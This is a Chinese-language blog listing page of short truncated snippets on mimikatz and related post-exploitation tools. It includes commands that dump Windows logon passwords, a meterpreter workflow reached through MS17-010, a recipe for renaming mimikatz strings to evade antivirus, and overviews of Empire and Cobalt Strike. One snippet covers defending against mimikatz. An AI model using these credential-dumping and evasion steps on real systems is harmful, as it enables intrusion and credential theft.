mimikatz使用笔记

【mimikatz使用笔记】的更多相关文章

一.获取密码# privilege::debug sekurlsa::logonpasswords mimikatz.exe "sekurlsa::debug" "sekurlsa::logonPasswords full" >>1.txt exit 一般我会使用bat @echo offmimikatz.exe privilege::debug sekurlsa::logonpasswords exit>C:\programdata\1.txt…

kali meterpreter中mimikatz模块获取密码

kali这方面不说了, meterpreter也略过, 做个关于mimikatz的笔记. mimikatz模块, 能获取对方机器的密码(包括哈希和明文). 渗透模块怎么进的也不说了, 方式太多, 我用的是ms17-010 进去meterpreter后getuid一下(其他这个也没多大用处,军哥说进入meterpreter模式下大部分情况下是拥有 system权限,无需 get system,但可能有些权限管理严的不一样) meterpreter > getuid Server userna…

如何防御mimikatz致敬Mimikatz攻防杂谈学习笔记

零.绪论:mimikatz简介 mimikatz是一款出色的内网渗透工具,可以抓取windows主机的明文密码.NTLMhash值或者kerberos对应的缓存凭据.mimikatz的使用在获取权限后可以上传到目标主机上,或者在msf上直接加载. Mimikatz Commands ================= Command Description ------- ----------- kerberos Attempt to retrieve kerberos creds livess…

关于mimikatz lazagne免杀方法

其实现在的杀软还是玩的老一套,改改特征字符就能过了,最新的defender能用这个方法过文章直接从笔记复制出来的,有需要的自己看情况用 git clone https://github.com/gentilkiwi/mimikatz.git lmmg mv lmmg/mimikatz lmmg/lmmg find lmmg/ -type f -name '*mimikatz*' | while read FILE ; do newfile="$(echo ${FILE} |sed -e 's/…

Emprie 使用基础笔记

0x01 简介 empire 是一个后渗透攻击框架,具有加密通信和灵活框架的功能.Empire可以在不需要Powershell.exe的情况下执行PowerShell代理,后期利用的模块很强大,如sc截屏,mimikatz密码嗅探,keylog键盘记录,psinject内存注入等功能.还可以进行信息收集等操作.学习了网上很多笔记,好记性不如烂笔头,记录一下常用的喜欢的操作叭~ 里面有约285个模块,大概有10个大的功能模块,可以一起来概览一下: 前六个分别是 code_exec 代码执行 col…

Cobalt Strike学习笔记

Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑:钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等.Cobalt Strike主要用于团队作战,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions. Cobalt Strike,据说现在最新版为3.9,主要分…